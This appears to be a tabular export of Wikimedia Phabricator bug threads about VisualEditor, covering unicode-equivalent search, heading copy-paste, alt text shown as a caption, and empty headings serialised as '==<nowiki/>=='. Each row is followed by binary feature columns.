+248723,VisualEditor: Support unicode equivalence for client side text searches,"It's worth noting that in most software, many common grapheme clusters are displayed more correctly when encoded as a single unicode character than when encoded with combining characters. For example, 'sgrîn' (""sgr\u00EEn"") displays correctly in my version of Firefox on Linux, but the equivalent decomposed string 'sgrîn' (""sgri\u0302n"") shows up with the dot still on the i and the accent in the wrong place (either uncentered over the i, or over the n, depending on the font).
+
+Therefore, while we may want to search and process text using decomposed forms, we should probably use the composed forms for display.",,,1372420020,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-eirxrxhok3puf5mpvsgj,task_subcomment,,True,c1,2,False,,,-1,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1
+248718,VisualEditor: Support unicode equivalence for client side text searches,"I don't see why not. We may want to add things like 'ß' => 'ss' in German, or final vs. non-final sigma in Greek (https://en.wikipedia.org/wiki/Sigma#Character_Encodings)",,,1372169071,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-eirxrxhok3puf5mpvsgj,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,0,0,1
+248713,VisualEditor: Support unicode equivalence for client side text searches,"We probably shouldn't strip down beyond NFKD. For some languages, 'ä' should be equivalent to 'a'; for others, it shouldn't be equivalent to anything; for still others, it should be equivalent to 'ae'.
+
+Will it be feasible to implement language-specific search on top of this?",,,1372163402,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-eirxrxhok3puf5mpvsgj,task_subcomment,,True,c1,2,False,,,-1,,1,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,1,0,0,0,0,0
+52126,VisualEditor: Can't copy/paste header from start of document without losing formatting,"See https://en.wikipedia.org/w/index.php?title=User:JohnCD/VEtest&diff=prev&oldid=561397375 - the header is de-headered, and a spurious nowiki tag added.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1372102560,1521857381.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-coeco2n4cfz4d24eek2p,task_description,resolved,True,c1,2,False,False,False,-1,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0
+1038472,VisualEditor: Can't copy/paste header from start of document without losing formatting,"I peeked at the revision:
+
+```name=Before
+==L2 Header==
+===L3 header===
+Some text including '''bold '''and ''italic ''and '''''both '''''at once
+[..]
+==Fourth L2 header==
+```
+
+```name=After saving
+==L2 Header==
+===L3 header===
+Some text including '''bold '''and ''italic ''and '''''both '''''at once
+[..]
+==Fourth L2 header==
+L2 Header
+===L3 header===
+Some text including '''bold '''and ''italic ''and '''''both ''at once
+===Another L3 header===
+This line includes a [[Wikipedia:Wikilinks|wikilink]] as a sample
+==<nowiki/>==
+```
+
+I presume the edit was to select from start (""L2 Header"") until end of first sentence, copy that, and paste at the end. Nothing the bugs: 1) `L2 Header` didn't become a heading, and 2) odd `<nowiki/>` in a heading at the end. I could not reproduce this on testwiki today. Closing as resolved.",,,1521857381,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-coeco2n4cfz4d24eek2p,task_subcomment,,True,c1,3,True,,,246,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+1038391,VisualEditor: Can't copy/paste header from start of document without losing formatting,"I can't reproduce this. I'm not sure what the original issue was, given the missing reproduction page, but a heading at the beginning doesn't seem to behave in any way differently than other headings.
+
+To copy a heading along with the formatting, you have to select it together with the closing tag, which is a bit awkward and not obvious, but it's the same for all headings.",,,1521842541,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-coeco2n4cfz4d24eek2p,task_subcomment,,True,c1,3,True,,,246,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+1038389,VisualEditor: Can't copy/paste header from start of document without losing formatting,"> See https://en.wikipedia.org/w/index.php?title=User:JohnCD/VEtest&diff=prev&oldid=561397375 - the header is de-headered, and a spurious nowiki tag added.
+
+This link is dead, it seems the page was deleted.",,,1521842221,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-coeco2n4cfz4d24eek2p,task_subcomment,,True,c1,3,True,,,246,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0
+533273,VisualEditor: Can't copy/paste header from start of document without losing formatting,"It doesn't really matter if the header is the first one, and also happens when the entire section is selected.",,,1443020040,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-coeco2n4cfz4d24eek2p,task_subcomment,,True,c1,3,False,,,116,,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0
+246345,VisualEditor: Can't copy/paste header from start of document without losing formatting,*** Bug 54728 has been marked as a duplicate of this bug. ***,,,1381157444,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-coeco2n4cfz4d24eek2p,task_subcomment,,True,c1,3,True,,,14,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+246337,VisualEditor: Can't copy/paste header from start of document without losing formatting,"Can't reproduce the last heading nowiki-ing, but the first of a document appears to be unable to copy with formatting.",,,1381148291,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-coeco2n4cfz4d24eek2p,task_subcomment,,True,c1,3,True,,,14,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52113,VisualEditor: Uses of enwiki's {{Plain image with caption}} cause alt text to be displayed as a caption,"See https://en.wikipedia.org/wiki/Chloroplast?veaction=edit for example.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1372091520,1372120126.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-gvpsurapr2wpn6mmysso,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+245424,VisualEditor: Uses of enwiki's {{Plain image with caption}} cause alt text to be displayed as a caption,Gerrit 70336 is a quick hack to fix this in VisualEditor. Parsoid bug for a proper fix (longer-term) is bug 50142.,,,1372120126,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gvpsurapr2wpn6mmysso,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0
+245416,VisualEditor: Uses of enwiki's {{Plain image with caption}} cause alt text to be displayed as a caption,https://gerrit.wikimedia.org/r/70336 (Gerrit Change I24491979bc7a27d2380924e48cb677b01e9f8f9b) | change APPROVED and MERGED [by jenkins-bot],,,1372118250,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gvpsurapr2wpn6mmysso,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+245409,VisualEditor: Uses of enwiki's {{Plain image with caption}} cause alt text to be displayed as a caption,Related URL: https://gerrit.wikimedia.org/r/70336 (Gerrit Change I24491979bc7a27d2380924e48cb677b01e9f8f9b),,,1372113630,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gvpsurapr2wpn6mmysso,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+245404,VisualEditor: Uses of enwiki's {{Plain image with caption}} cause alt text to be displayed as a caption,"It looks like this is [[File:…|right|«alt text»]] is getting wrongly interpreted by Parsoid as a thumb image as opposed to a block image (which doesn't have a caption):
+
+[[File:{{Remove file prefix|{{{1|{{{image<noinclude>|Example.svg</noinclude>}}}}}}}}|right|{{Str number/trim|{{{3|{{{width|250px}}}}}}}}px|{{{2|{{{caption<noinclude>|Caption goes here.</noinclude>}}}}}}]]
+
+->
+
+<figure class=""mw-halign-right"" typeof=""mw:Image"" data-parsoid=""…"">
+  <a href=""./File:Chloroplast_II.svg"" data-parsoid=""…""><img resource=""./File:Chloroplast_II.svg"" src=""…"" height=""344"" width=""360"" data-parsoid=""…""></a>
+  <figcaption class=""mw-figcaption"" data-parsoid=""{}"">Structure of a typical higher-plant chloroplast</figcaption>
+</figure>
+
+(The <figcaption> shouldn't be set, and also there should be an alt="""" set.)",,,1372110890,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gvpsurapr2wpn6mmysso,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+245397,VisualEditor: Uses of enwiki's {{Plain image with caption}} cause alt text to be displayed as a caption,"First image, top right; I suspect stupidity in the {{Plain image}} template.",,,1372096750,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-gvpsurapr2wpn6mmysso,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+245391,VisualEditor: Uses of enwiki's {{Plain image with caption}} cause alt text to be displayed as a caption,"(In reply to comment #0)
+> See https://en.wikipedia.org/wiki/Chloroplast?veaction=edit for example.
+
+Can you say where? There's 27 images on that page and 15 of them are non-captioned images, but I don't see the alt-text coming through for them.",,,1372096339,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gvpsurapr2wpn6mmysso,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,1,1,0,1,1,0,0,1
+52100,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""","https://en.wikipedia.org/w/index.php?title=AES11&diff=prev&oldid=561340674
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+{T57769}
+{T61647}",Medium,50.0,1372085880,1429293419.0,PHID-USER-hyfm4swq76s4j642w46x,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_description,resolved,True,c1,2,False,False,False,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+445461,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""",Split that into {T96395} as it's mobile-specific.,,,1429293419,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,True,,,93,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+439847,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""",It looks like this is still happening: https://en.wikipedia.org/w/index.php?diff=655361654,,,1428430329,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,False,,,92,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0
+436280,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""",Indeed.,,,1427847427,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,True,,,91,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+435947,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""","If I understand correctly, the fix was deployed as part of version 1.25wmf23, which hasn't arrived to Wikipedias yet. It'll be deployed there tomorrow (April 1).",,,1427822170,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,False,,,91,,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+435922,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""",See [[https://tt.wikipedia.org/w/index.php?title=%D0%9F%D1%81%D0%BA%D0%BE%D0%B2_%D3%A9%D0%BB%D0%BA%D3%99%D1%81%D0%B5&diff=prev&oldid=2056059|here]] though?,,,1427820191,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,False,,,91,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1
+431384,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""",The same fix as for T51452 - verified in beta.,,,1427153983,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,True,,,90,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+430147,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""","Change 162310 merged by jenkins-bot:
+For empty / whitespace-only headings, output <p> instead of <h#>
+
+[[https://gerrit.wikimedia.org/r/162310]]",,,1426893387,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,False,,,89,,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+412855,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""","Change 162310 had a related patch set uploaded (by Jforrester):
+MWHeading: Don't put self in output if contents are blank or whitespace
+
+[[https://gerrit.wikimedia.org/r/162310]]
+
+#patch-for-review",,,1424197331,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,False,,,85,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+244604,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""","Change 162310 had a related patch set uploaded by Jforrester:
+MWHeading: Don't put self in output if contents are blank or whitespace
+
+https://gerrit.wikimedia.org/r/162310",,,1411496967,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,False,,,64,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+244600,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""","en.wp user 28bytes comments:
+There was an unneeded section, so I selected the section, pressed ""delete"" and saved. VE did this [1]; I expected it to do this. [2]
+
+1: https://en.wikipedia.org/w/index.php?title=Degeneracy&diff=prev&oldid=569795975
+2: https://en.wikipedia.org/w/index.php?title=Degeneracy&diff=569796007&oldid=567105149",,,1377222680,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+244596,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""",This editor http://en.wikipedia.org/w/index.php?title=Pound_%28mass%29&diff=569770089&oldid=569255959 removed the whole section.  It could not possibly have been their intention to leave behind an empty heading line.,,,1377203188,,PHID-USER-imut7wxehhy35ukuzaks,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0
+244593,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""","<< Often, when an editor tries to remove (or accidentally removes) a section header, the result in VE is something like this: http://en.wikipedia.org/w/index.php?title=%C3%87ank%C4%B1r%C4%B1_Province&diff=567375871&oldid=542107518 . This is seldom (if ever) the intention, can VE be coded to simply remove the section header in these cases? Fram (talk) 09:32, 6 August 2013 (UTC) >>",,,1375953600,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,False,,,5,,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,1
+244587,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""","Since 51829 is now marked as a dupe, 
+should we also discuss here an issue that Dan reported as well - VE turning the next paragraph into a heading,
+or that ""when pressing delete on an empty heading line, if there is a template such as {{main}} on the next line, it is unexpectedly deleted"", as user:WS states on enwp?",,,1375792751,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,False,,,5,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+244580,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""","Speaking as an end-user, I spent quite some time trying to figure out how to delete a heading. It was quite confusing. Bug 51829 (marked as a duplicate) describes my attempts.
+
+VE's behavior in this regard is the opposite of (say) MS Word's.  In Word, if you highlight one character beyond the heading and press Delete, you remove the heading. In VE, you have to highlight an invisible area *preceding* the heading. This is not intuitive.",,,1374611501,,PHID-USER-o5tv5cyrple4fn5xqopm,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+244573,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""",*** Bug 51829 has been marked as a duplicate of this bug. ***,,,1374609807,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+244566,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""","""Encourage"" yes...",,,1373990534,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+244556,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""","(In reply to comment #3)
+> I'm not sure we should be deleting empty headings. The user may want to
+> delete all the contents of a heading and replace it (or select-all then type,
+> which would perform the same operations internally).
+
+Oh, yes, this was meant to be on save, rather than as they edit.
+
+> Perhaps a solution would be for Parsoid to strip empty blocks (provided they
+> weren't that way to begin with)?
+
+That could also work, but feels a bit clunky; I think Parsoid should expect users to send it the HTML they actually want saved, and that it's up to clients to encourage users to indeed create such HTML.",,,1373987840,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,True,,,2,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
